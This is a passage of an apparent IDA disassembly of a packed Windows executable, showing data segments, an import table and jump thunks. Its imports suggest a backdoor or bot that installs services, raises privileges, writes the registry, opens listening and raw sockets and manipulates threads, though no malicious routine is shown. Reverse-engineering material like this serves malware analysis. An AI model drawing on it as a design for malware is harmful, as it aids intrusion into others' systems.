dword_E19D17 dd ? ; sub_13D1EF0:loc_13D1FE7r align 4 dd 0A0h dup(?) db 3 dup(?) byte_E19F9F db ? ; DATA XREF: sub_13B1B90+A3Co ; sub_13B1B90+ECDo ... dd 8 dup(?) dword_E19FC0 dd ? dd 51h dup(?) db ? byte_E1A109 db ? ; DATA XREF: sub_13D0C40:loc_13D0CF0r ; sub_13D1100:loc_13D11B5r ... db 2 dup(?) dd 9Eh dup(?) db ? dword_E1A385 dd ? ; sub_13D1100+7Dw ... db 3 dup(?) dd 7D7h dup(?) db 2 dup(?) word_E1C2EA dw ? ; DATA XREF: sub_13CFC90+16o ; sub_13CFCC0+19o db 2 dup(?) word_E1C2EE dw ? ; DATA XREF: sub_13CFBC0+4Co dd 1701h dup(?) db ? byte_E21EF5 db 3 dup(?) ; DATA XREF: sub_13C42A0+3o ; sub_13C4360+13o dd 1EB9h dup(?) db 3 dup(?) byte_E299DF db ? ; DATA XREF: sub_13D0E80+1Do dd 21h dup(?) db ? byte_E29A65 db 3 dup(?) ; DATA XREF: sub_13C42A0+13o dd 235h dup(?) db 3 dup(?) byte_E2A33F db ? ; DATA XREF: sub_13D0E80+2Fo dd 1D5h dup(?) byte_E2AA94 db ? ; DATA XREF: sub_13AF070+299w ; sub_13BA370:loc_13BA3B2r ... byte_E2AA95 db 3 dup(?) ; DATA XREF: sub_13AE3C0+4D8o ; sub_13AF070+235o ... dd 4 dup(?) db 2 dup(?) word_E2AAAA dw ? ; DATA XREF: sub_13AF070+2D4o ; sub_13B1B90+EE1o ... dd 0Fh dup(?) db ? byte_E2AAE9 db ? ; DATA XREF: sub_13C9C70+31w ; sub_13C9C70+47w ... db ? byte_E2AAEB db ? ; DATA XREF: sub_13C28A0+21o ; sub_13C7C40+341o ... dd 7E94Ah dup(?) dword_1025014 dd 1000h dup(?) ; sub_13C3EA0+Do ... dword_1029014 dd 333h dup(?) ; sub_13C3EA0+28o ... dword_1029CE0 dd ? ; sub_13C4420+1Br ... db 0Ch dup(?) dword_1029CF0 dd ? ; sub_13C9F40+Dw ... dword_1029CF4 dd ? ; sub_13C9EA0+2Aw ... dword_1029CF8 dd ? dword_1029CFC dd ? ; sub_13C9F40+2Bw dword_1029D00 dd ? dword_1029D04 dd ? ; sub_13C9F40+37w ... dword_1029D08 dd ? ; sub_13C9F40+3Dw ... dword_1029D0C dd ? ; sub_13CB1B0+9o dword_1029D10 dd ? ; sub_13C9EA0:loc_13C9EC4r ... dword_1029D14 dd ? ; sub_13C9F40+51w dword_1029D18 dd ? ; sub_13CA940+41w ... dword_1029D1C dd ? ; sub_13CA940+7Fr dword_1029D20 dd ? ; sub_13CA940+92r ... dword_1029D24 dd ? ; sub_13CA940+148r dd 3 dup(?) dword_1029D34 dd ? ; sub_13C64F0+C5o dword_1029D38 dd ? ; sub_13CDB30+5r ... dword_1029D3C dd ? ; .idata:013CE2CEr ... dd 7CEh dup(?) dword_102BC78 dd 6 dup(?) ; .idata:013CE1C8o ... dword_102BC90 dd 196h dup(?) ; sub_13CDA70+6Do dword_102C2E8 dd ? word_102C2EC dw ? ; DATA XREF: sub_13CF2B0+A9r db 2 dup(?) byte_102C2F0 db ? ; DATA XREF: sub_13CF900:loc_13CF960r ; sub_13CF900+97w db 3 dup(?) dword_102C2F4 dd ? ; sub_13D0C40+D9r dword_102C2F8 dd ? ; sub_13D0C40+45r dword_102C2FC dd ? ; sub_13D0C40+54r ... dd ? dword_102C304 dd 80h dup(?) ; sub_13D0E80+129o dword_102C504 dd ? dword_102C508 dd ? dd 1Dh dup(?) dword_102C580 dd ? ; sub_13D5480+BDr ... dword_102C584 dd ? ; sub_13D6F30:loc_13D6FC6r ... db 8 dup(?) dword_102C590 dd ? dword_102C594 dd ? ; sub_13D98A0+2Fr ... dword_102C598 dd ? ; sub_13D9AD0+111w ... dword_102C59C dd ? ; sub_13D9AD0+F6r ... dword_102C5A0 dd ? ; sub_13DA7D0r dword_102C5A4 dd ? dd 13Eh dup(?) dword_102CAA0 dd 10h dup(?) ; sub_13DA5A0:loc_13DA5D0o ... dword_102CAE0 dd 8 dup(?) ; sub_13D9960+25o ... dword_102CB00 dd 18h dup(?) ; sub_13DAAB0+25o ... dword_102CB60 dd 28h dup(?) ; sub_13D9AD0:loc_13D9BE7o ... _$4895f ends ; Section 4. (virtual address 00C2D000) ; Virtual size : 00001E32 ( 7730.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data _q1rk2j segment para public 'DATA' use32 assume cs:_q1rk2j ;org 102D000h dd 1C1h dup(?) OpenServiceA dd ? ; DATA XREF: sub_13B93A0+37r ; sub_13B9440+2Fr ... db 8 dup(?) EnumServicesStatusA dd ? ; DATA XREF: sub_13CABF0+219r OpenThreadToken dd ? ; DATA XREF: sub_13CA7E0+22r AdjustTokenPrivileges dd ? ; DATA XREF: sub_13CA7E0+28r OpenProcessToken dd ? ; DATA XREF: sub_13CA7E0+46r LookupPrivilegeValueA dd ? ; DATA XREF: sub_13CA7E0+71r RegQueryValueExA dd ? ; DATA XREF: sub_13CA500+D1r ; sub_13CABF0+31Cr StartServiceCtrlDispatcherA dd ? ; DATA XREF: sub_13CA010+49r RegisterServiceCtrlHandlerA dd ? ; DATA XREF: sub_13C9F40+49r SetServiceStatus dd ? ; DATA XREF: sub_13C9EA0+76r ; sub_13C9F40+74r StartServiceA dd ? ; DATA XREF: sub_13B94C0+50r RegCloseKey dd ? ; DATA XREF: sub_13AF070+DE4r ; sub_13B8630+280r ... ControlService dd ? ; DATA XREF: sub_13B93A0+5Cr ; sub_13CA710+5Er DeleteService dd ? ; DATA XREF: sub_13B93A0+63r ; sub_13CA710+52r OpenSCManagerA dd ? ; DATA XREF: sub_13B9180+2Cr ; sub_13B93A0+11r ... CreateServiceA dd ? ; DATA XREF: sub_13B9180+B2r CloseServiceHandle dd ? ; DATA XREF: sub_13B9180+D7r ; sub_13B9180+10Ar ... ChangeServiceConfig2A dd ? ; DATA XREF: sub_13B9180+155r RegCreateKeyExA dd ? ; DATA XREF: sub_13B8630+22Cr ; sub_13B8BB0+22Cr GetUserNameA dd ? ; DATA XREF: sub_13B0C90+15Br RegOpenKeyExA dd ? ; DATA XREF: sub_13AF070+D65r ; sub_13CA500+B3r ... RegSetValueExA dd ? ; DATA XREF: sub_13AF070+DC9r ; sub_13B8630+275r ... RegDeleteValueA dd ? ; DATA XREF: sub_13AF070+E3Dr ; sub_13B8BB0+24Cr dd 1Ch dup(?) TerminateProcess dd ? ; DATA XREF: sub_13CA3A0+D5r ; sub_13CA7E0+CDr ... dd 10h dup(?) WaitForMultipleObjects dd ? ; DATA XREF: sub_13DA960+4Br CreateEventA dd ? ; DATA XREF: sub_13DA7F0+4Fr GetCurrentThreadId dd ? ; DATA XREF: sub_13DA690+32r DuplicateHandle dd ? ; DATA XREF: sub_13DA690+57r InterlockedIncrement dd ? ; DATA XREF: sub_13DA610+1Fr ; sub_13DAEF0+34r ... GetThreadPriority dd ? ; DATA XREF: sub_13DA5A0+1Er ; sub_13DA690+73r SuspendThread dd ? ; DATA XREF: sub_13D96D0+A8r GetThreadContext dd ? ; DATA XREF: sub_13D96D0+D6r SetThreadContext dd ? ; DATA XREF: sub_13D96D0+EDr ResumeThread dd ? ; DATA XREF: sub_13D96D0+FDr ; sub_13DA370+C3r SetEvent dd ? ; DATA XREF: sub_13D96D0+11Br WaitForSingleObject dd ? ; DATA XREF: sub_13D94D0+47r ; sub_13D9590+47r ... ResetEvent dd ? ; DATA XREF: sub_13D94D0+63r ; sub_13D9590+63r ... InterlockedDecrement dd ? ; DATA XREF: sub_13D92D0+20r ; sub_13DAEF0+78r ... TerminateThread dd ? ; DATA XREF: sub_13CFAD0+3Er DeleteCriticalSection dd ? ; DATA XREF: .idata:013CE420r ; .idata:013CE66Ar ... InitializeCriticalSection dd ? ; DATA XREF: .idata:013CE42Br ; sub_13DAB20+B1r CreateThread dd ? ; DATA XREF: .idata:013CE45Cr ; sub_13D0E80+110r EnterCriticalSection dd ? ; DATA XREF: .idata:013CE133r ; sub_13D9960+8r ... LeaveCriticalSection dd ? ; DATA XREF: .idata:013CE1CDr ; sub_13D9960+2Ar ... GetCurrentThread dd ? ; DATA XREF: sub_13CA7E0+1Br ; sub_13DA690+4Dr GetCurrentProcess dd ? ; DATA XREF: sub_13CA7E0+3Fr ; sub_13DA690+38r OpenProcess dd ? ; DATA XREF: sub_13CA3A0+41r ; sub_13CA7E0+BEr ... FindResourceA dd ? ; DATA XREF: sub_13CA090+4Ar LoadResource dd ? ; DATA XREF: sub_13CA090+5Fr SizeofResource dd ? ; DATA XREF: sub_13CA090+69r LockResource dd ? ; DATA XREF: sub_13CA090+72r MultiByteToWideChar dd ? ; DATA XREF: sub_13C64F0+84r ; sub_13C6660+84r GetLocalTime dd ? ; DATA XREF: sub_13C3EF0+Ar GetLastError dd ? ; DATA XREF: sub_13B9180+C0r ; sub_13CA7E0+94r ... GetTempPathA dd ? ; DATA XREF: sub_13B7F50+45r WriteFile dd ? ; DATA XREF: sub_13B7F50+47Ar LoadLibraryA dd ? ; DATA XREF: sub_13B7990+9Dr ; sub_13CA940+39r ... GetProcAddress dd ? ; DATA XREF: sub_13B7990+A9r ; sub_13CA940:loc_13CA98Cr ... GetTickCount dd ? ; DATA XREF: sub_13AE3C0+4F3r ; sub_13AF020+2r ... DeleteFileA dd ? ; DATA XREF: sub_13AF070+F40r ; sub_13AF070+1086r ... GetSystemDirectoryA dd ? ; DATA XREF: sub_13AF070+ED3r ; sub_13AF070+1013r ... CreateProcessA dd ? ; DATA XREF: sub_13AF070+184r ; sub_13B7990+40Er ... ExpandEnvironmentStringsA dd ? ; DATA XREF: sub_13AF070+121r ; sub_13B7F50+500r ... GetComputerNameA dd ? ; DATA XREF: sub_13B0C90+14Br ; sub_13C5D60+6Cr GetVersionExA dd ? ; DATA XREF: sub_13B0C90+76r GlobalMemoryStatus dd ? ; DATA XREF: sub_13B0C90+63r GetStdHandle dd ? ; DATA XREF: sub_13B3E30+13r AllocConsole dd ? ; DATA XREF: sub_13B3E30+Dr FreeConsole dd ? ; DATA XREF: sub_13B3EA0+Cr Sleep dd ? ; DATA XREF: sub_13B5CD0+10Er ; sub_13B7990+36Fr ... ExitThread dd ? ; DATA XREF: sub_13B6800+50Cr ; sub_13B6800+54Cr ... CloseHandle dd ? ; DATA XREF: sub_13B6800+44Ar ; sub_13B76F0+113r ... ReadFile dd ? ; DATA XREF: sub_13B6800+3DBr SetFilePointer dd ? ; DATA XREF: sub_13B6800+3C4r GetFileSize dd ? ; DATA XREF: sub_13B6800+24Br CreateFileA dd ? ; DATA XREF: sub_13B6800+1FAr ; sub_13B7870+52r ... FindClose dd ? ; DATA XREF: sub_13B7360+CCr ; sub_13B7360+160r FindNextFileA dd ? ; DATA XREF: sub_13B7360+C1r ; sub_13B7360+155r FindFirstFileA dd ? ; DATA XREF: sub_13B7360+40r ; sub_13B7360+FFr GetModuleFileNameA dd ? ; DATA XREF: sub_13B76F0+19r ; sub_13B7990+92r ... GetModuleHandleA dd ? ; DATA XREF: sub_13B76F0+12r ; sub_13B7990+8Br ... SetFileTime dd ? ; DATA XREF: sub_13B7870+BDr GetFileTime dd ? ; DATA XREF: sub_13B7870+7Br GetWindowsDirectoryA dd ? ; DATA XREF: sub_13B7870+13r CopyFileA dd ? ; DATA XREF: sub_13B7990+352r dd 27h dup(?) ?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB dd ? ; DATA XREF: sub_13CA500+EBr ?find_last_of@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDI@Z dd ? ; DATA XREF: sub_13CA500+105r ?erase@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@II@Z dd ? ; DATA XREF: sub_13CA500+113r ?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ dd ? ; DATA XREF: sub_13CA500+11Dr ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z dd ? ; DATA XREF: .idata:013B39A6r ; .idata:013B4D76r ... ??0out_of_range@std@@QAE@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z dd ? ; DATA XREF: .idata:013B39BDr ; .idata:013B4D8Dr ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ dd ? ; DATA XREF: sub_13CA500+147r dd 22h dup(?) _ftime dd ? ; DATA XREF: sub_13DB230+37r _endthreadex dd ? ; DATA XREF: sub_13DA550+1Br _beginthreadex dd ? ; DATA XREF: sub_13DA370+96r printf dd ? ; DATA XREF: sub_13D8240+E0r ; sub_13D8240+100r ... sprintf dd ? ; DATA XREF: sub_13D74F0+32r ; sub_13D75C0+77r ... _errno dd ? ; DATA XREF: sub_13D72A0+A1r ; sub_13D7E80+5Fr ... strerror dd ? ; DATA XREF: sub_13D72A0+AAr ; sub_13D7E80+68r ... perror dd ? ; DATA XREF: sub_13D6C30+61r ; sub_13D6C30+EFr ... dd ? _isctype dd ? ; DATA XREF: sub_13D6C30+87r _pctype dd ? ; DATA XREF: sub_13D6C30:loc_13D6CC2r calloc dd ? ; DATA XREF: sub_13D6C30+193r ; sub_13D79A0+301r ... fprintf dd ? ; DATA XREF: sub_13D6BB0+29r ; sub_13D6F30+3Fr ... _iob dd ? ; DATA XREF: sub_13D1EF0:loc_13D2113r ; sub_13D6BB0+19r ... fflush dd ? ; DATA XREF: sub_13D1EF0+22Dr ; sub_13D8820+19Br sscanf dd ? ; DATA XREF: sub_13CDB70+4Dr ; sub_13D79A0+114r ... strrchr dd ? ; DATA XREF: sub_13CCE50+805r fwrite dd ? ; DATA XREF: sub_13CA090+7Dr ; sub_13D8820+154r fseek dd ? ; DATA XREF: sub_13C9340+571r ; sub_13C9340+587r ... _strcmpi dd ? ; DATA XREF: sub_13B4390+18r ; sub_13C36D0+125r ... ftell dd ? ; DATA XREF: sub_13C9340+578r ; .idata:013CB1D8r fread dd ? ; DATA XREF: sub_13C9340+5B4r ; sub_13D8820+DCr fputc dd ? ; DATA XREF: sub_13C7C40+4BAr ; sub_13C7C40+508r wcscat dd ? ; DATA XREF: sub_13C64F0+8Ar ; sub_13C6660+8Ar fopen dd ? ; DATA XREF: sub_13C6060+Ar ; sub_13C7C40+3CEr ... fclose dd ? ; DATA XREF: sub_13C6060+18r ; sub_13C7C40+519r ... dd ? rand dd ? ; DATA XREF: sub_13C3CD0+2r ; sub_13C3D20r ... srand dd ? ; DATA XREF: sub_13C3CB0+7r ; sub_13C5D60+178r ... free dd ? ; DATA XREF: sub_13C36D0+386r ; sub_13CE8E0+Ar ... malloc dd ? ; DATA XREF: sub_13B99A0+12r ; sub_13C36D0+165r ... strncat dd ? ; DATA XREF: sub_13B7990+399r ; sub_13CCE50+382r ... exit dd ? ; DATA XREF: sub_13B7990+41Ar ; sub_13C28A0+18Br ... strncmp dd ? ; DATA XREF: sub_13B76F0+86r ; sub_13C7C40+495r ... _snprintf dd ? ; DATA XREF: sub_13B7360+15r ; sub_13C36D0+27Dr ... atof dd ? ; DATA XREF: sub_13B5A80+19r ; sub_13B5B00+1Dr strchr dd ? ; DATA XREF: sub_13B44C0+1r ; sub_13CCE50+702r ... _vsnprintf dd ? ; DATA XREF: sub_13B4430+28r ; sub_13BCD10+24r ... dd 3 dup(?) strtok dd ? ; DATA XREF: sub_13B1030+B2r ; sub_13C60A0+5Dr strstr dd ? ; DATA XREF: sub_13B1030+216r ; sub_13B4580+18r ... strncpy dd ? ; DATA XREF: sub_13B1030+2A7r ; sub_13B4080+61r ... dd ? system dd ? ; DATA XREF: sub_13AF070+98Fr ; sub_13AF070+14CBr atoi dd ? ; DATA XREF: sub_13AEA40+25Er ; sub_13AF070+D2r ... db 4 dup(?) _memccpy dd ? ; DATA XREF: sub_13D7070+58r __mb_cur_max dd ? ; DATA XREF: sub_13D6C30+76r _mbsdup dd ? ; DATA XREF: sub_13D6C30+2Dr dd 28h dup(?) ShellExecuteA dd ? ; DATA XREF: sub_13AF070+44Er ; sub_13C6440+15r dd 0Bh dup(?) ExitWindowsEx dd ? ; DATA XREF: sub_13C86D0+4Dr ; sub_13C86D0+9Cr ... wsprintfA dd ? ; DATA XREF: sub_13B0C90+12Br ; sub_13B3FC0+1Cr ... dd 0Bh dup(?) htons dd ? ; DATA XREF: sub_13B6800+13Cr ; sub_13C36D0+1ACr getsockname dd ? ; DATA XREF: sub_13B6800+131r ; sub_13BA370+28Cr ... bind dd ? ; DATA XREF: sub_13B6800+101r ; sub_13C41E0+57r ... htons dd ? ; DATA XREF: sub_13B6800+EAr ; sub_13BA370+201r ... socket dd ? ; DATA XREF: sub_13B6800+A4r ; sub_13BA370+1BCr ... connect dd ? ; DATA XREF: sub_13BA370+233r ; sub_13C46C0+BFr ... WSACleanup dd ? ; DATA XREF: sub_13C28A0+2AFr ; sub_13C4520+3Fr WSAStartup dd ? ; DATA XREF: sub_13C28A0+97r ; sub_13C4420+30r ... gethostname dd ? ; DATA XREF: sub_13C3BA0+A5r ; sub_13D1EF0+B1r WSAGetLastError dd ? ; DATA XREF: sub_13C46C0+C5r ; sub_13C4CD0:loc_13C4E19r ... dd ? listen dd ? ; DATA XREF: sub_13B6800+1ACr ; sub_13C41E0+6Fr ... ioctlsocket dd ? ; DATA XREF: sub_13C5370+27r ; sub_13C5370+49r ... htonl dd ? ; DATA XREF: sub_13CDB30+Dr recvfrom dd ? ; DATA XREF: sub_13CDD50+1A4r ; sub_13D4A10+153r ... sendto dd ? ; DATA XREF: sub_13CDD50+13Cr ; sub_13D1500+286r ... setsockopt dd ? ; DATA XREF: sub_13D1500+CFr ; sub_13D1E10+69r ... WSASocketA dd ? ; DATA XREF: sub_13D1500+A6r ; sub_13D1E10+47r ... WSAIoctl dd ? ; DATA XREF: sub_13D1EF0+16Er dd 3 dup(?) inet_ntoa dd ? ; DATA XREF: sub_13AF070+6BFr ; sub_13B6800+480r ... htonl dd ? ; DATA XREF: sub_13B6800+285r ; sub_13CDB30+15r ... select dd ? ; DATA XREF: sub_13B6800+30Cr ; sub_13C46C0+118r ... accept dd ? ; DATA XREF: sub_13B6800+357r ; sub_13C4AE0+EDr ... closesocket dd ? ; DATA XREF: sub_13B6800+392r ; sub_13B6800+4FAr ... send dd ? ; DATA XREF: sub_13B6800+3F1r ; sub_13BCC80+1Dr ... recv dd ? ; DATA XREF: sub_13B6800+422r ; sub_13C4CD0+11Er ... inet_addr dd ? ; DATA XREF: sub_13AF070+5A7r ; sub_13B6800+27Er ... gethostbyaddr dd ? ; DATA XREF: sub_13AF070+5D9r ; sub_13C3BA0+6Dr getpeername dd ? ; DATA XREF: sub_13C5140+2Er ; sub_13C9340+134r gethostbyname dd ? ; DATA XREF: sub_13AF070+67Ar ; sub_13C5470+23r ... dd 4D7h dup(?) _q1rk2j ends ; Section 5. (virtual address 00C2F000) ; Virtual size : 0000B3D4 ( 46036.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000000 ; Flags C2000040: Data Discardable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data _q50$p6 segment para public 'DATA' use32 assume cs:_q50$p6 ;org 102F000h dd 2D00h dup(?) _q50$p6 ends ; Section 7. (virtual address 00F3B000) ; Virtual size : 00070000 ( 458752.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000000 ; Flags E0000000: Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code _packed segment para public 'CODE' use32 assume cs:_packed ;org 133B000h assume es:nothing, ss:nothing, ds:_weit$l, fs:nothing, gs:nothing dd 1C000h dup(?) _packed ends ; Section 8. (virtual address 00FAB000) ; Virtual size : 00031000 ( 200704.) ; Section size in file : 000302F9 ( 197369.) ; Offset to raw data for section: 00000C00 ; Flags E0000000: Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code _idata segment para public 'CODE' use32 assume cs:_idata ;org 13AB000h assume es:nothing, ss:nothing, ds:_weit$l, fs:nothing, gs:nothing dd 100h dup(0) db 5 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB405 proc near jmp sub_13D9A50 sub_13AB405 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB40A proc near jmp sub_13BD0C0 sub_13AB40A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB40F proc near ; CODE XREF: sub_13CBF00+29p jmp sub_13CC460 sub_13AB40F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB414 proc near jmp near ptr dword_13DB670 sub_13AB414 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB419 proc near jmp sub_13CB1B0 sub_13AB419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB41E proc near ; CODE XREF: sub_13BBCF0+3p jmp sub_13BBD20 sub_13AB41E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB423 proc near ; CODE XREF: sub_13B5570+4Dp ; sub_13B5570+5Ap ... jmp sub_13AE000 sub_13AB423 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB428 proc near ; CODE XREF: sub_13C9EA0+34p jmp sub_13B5400 sub_13AB428 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB42D proc near ; CODE XREF: sub_13AE3C0+4DDp ; sub_13AF070+619p ... jmp sub_13B4430 sub_13AB42D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB432 proc near jmp sub_13D4520 sub_13AB432 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB437 proc near ; CODE XREF: sub_13BD920+3Bp ; sub_13BEF00+40p jmp sub_13BF9F0 sub_13AB437 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB43C proc near ; CODE XREF: sub_13D9C60+6Ep ; sub_13D9C60+8Ap ... jmp near ptr 13DD400h sub_13AB43C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB441 proc near ; CODE XREF: sub_13D92D0+72p ; sub_13D9C60+3Fp ... jmp near ptr 13DD280h sub_13AB441 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB446 proc near jmp sub_13CDD50 sub_13AB446 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB44B proc near ; CODE XREF: sub_13C28A0+248p jmp sub_13B7540 sub_13AB44B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB450 proc near ; CODE XREF: sub_13B5400+3Ap ; sub_13B5470+1Ap jmp near ptr 13DCDA0h sub_13AB450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB455 proc near ; CODE XREF: sub_13C8A70+37Bp jmp sub_13CC040 sub_13AB455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB45A proc near ; CODE XREF: sub_13B64C0+8p jmp sub_13B6680 sub_13AB45A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB45F proc near jmp near ptr dword_13DBCE0 sub_13AB45F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB464 proc near jmp sub_13C6A20 sub_13AB464 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB469 proc near ; CODE XREF: sub_13C1140+17Ap jmp sub_13C9FE0 sub_13AB469 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB46E proc near ; CODE XREF: sub_13B6360+32p jmp sub_13B6520 sub_13AB46E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB473 proc near ; CODE XREF: sub_13C1140+18Ap jmp sub_13C26A0 sub_13AB473 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB478 proc near ; CODE XREF: sub_13BFC40+5Ep ; sub_13C0690+32p jmp sub_13C05D0 sub_13AB478 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB47D proc near ; CODE XREF: sub_13C8A70+161p ; sub_13CC7F0+3p jmp sub_13CBE60 sub_13AB47D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB482 proc near jmp sub_13C50F0 sub_13AB482 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB48C proc near ; CODE XREF: sub_13CC040+3p ; sub_13CC3C0+4Fp ... jmp sub_13CC580 sub_13AB48C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB491 proc near ; CODE XREF: sub_13B6800+47p jmp sub_13B6ED0 sub_13AB491 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB496 proc near jmp sub_13D2410 sub_13AB496 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB49B proc near ; CODE XREF: sub_13B1970+Ap jmp sub_13B1A10 sub_13AB49B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4A0 proc near ; CODE XREF: sub_13CEA10+23p ; sub_13CEBB0+6p ... jmp sub_13CE920 sub_13AB4A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4A5 proc near ; CODE XREF: sub_13DB020+F5p ; sub_13DB020+14Fp jmp near ptr 13DD210h sub_13AB4A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4AA proc near jmp sub_13DADB0 sub_13AB4AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4AF proc near jmp sub_13D41E0 sub_13AB4AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4B4 proc near jmp sub_13C86D0 sub_13AB4B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4B9 proc near ; CODE XREF: sub_13C2740+D0p ; sub_13C28A0+2Dp jmp sub_13C2E30 sub_13AB4B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4BE proc near ; CODE XREF: sub_13BA370+8D9p ; sub_13BA370+990p ... jmp sub_13BBC70 sub_13AB4BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4C3 proc near ; CODE XREF: sub_13D94D0+6Ap ; sub_13D94D0+7Ap ... jmp near ptr dword_13DB320 sub_13AB4C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4C8 proc near ; CODE XREF: sub_13CC160+9p ; sub_13CC650+18p jmp sub_13CC7D0 sub_13AB4C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4CD proc near ; CODE XREF: sub_13B4DF0+58p ; sub_13B4DF0+82p ... jmp sub_13B4FE0 sub_13AB4CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4D2 proc near ; CODE XREF: sub_13CCE50+3F7p ; sub_13CDD50+166p ... jmp sub_13C3EF0 sub_13AB4D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4D7 proc near ; CODE XREF: sub_13C0420+7p jmp sub_13C0A50 sub_13AB4D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4DC proc near ; CODE XREF: sub_13BF930+4Fp ; sub_13C0280+11p ... jmp sub_13C04D0 sub_13AB4DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4E1 proc near ; CODE XREF: sub_13D4050+58p jmp sub_13D3EC0 sub_13AB4E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4E6 proc near ; CODE XREF: sub_13CBC80+1Fp jmp sub_13CC0C0 sub_13AB4E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4EB proc near ; CODE XREF: sub_13CC3C0+11p ; sub_13CC3C0+27p ... jmp sub_13CC8E0 sub_13AB4EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4F0 proc near jmp sub_13BE170 sub_13AB4F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4F5 proc near ; CODE XREF: sub_13CBE40+3p ; sub_13CC160+4Fp ... jmp sub_13CC320 sub_13AB4F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4FA proc near jmp sub_13BE810 sub_13AB4FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB4FF proc near ; CODE XREF: sub_13D1340+3p jmp sub_13D1370 sub_13AB4FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB504 proc near ; CODE XREF: sub_13BFE10+11p ; sub_13BFE10+27p ... jmp sub_13C0880 sub_13AB504 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB509 proc near jmp near ptr 13DD730h sub_13AB509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB50E proc near ; CODE XREF: sub_13CBF70+5p ; sub_13CC060+6p ... jmp sub_13CC560 sub_13AB50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB513 proc near ; CODE XREF: sub_13C0DA0+CBp jmp sub_13C1E70 sub_13AB513 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AB518 proc near ; CODE XREF: sub_13AF070+6Ap ; sub_13AF070+1AFp ... jmp sub_13BCD80 sub_13AB518 endp ; =============== S U B R O U T I N E ======================================= ; 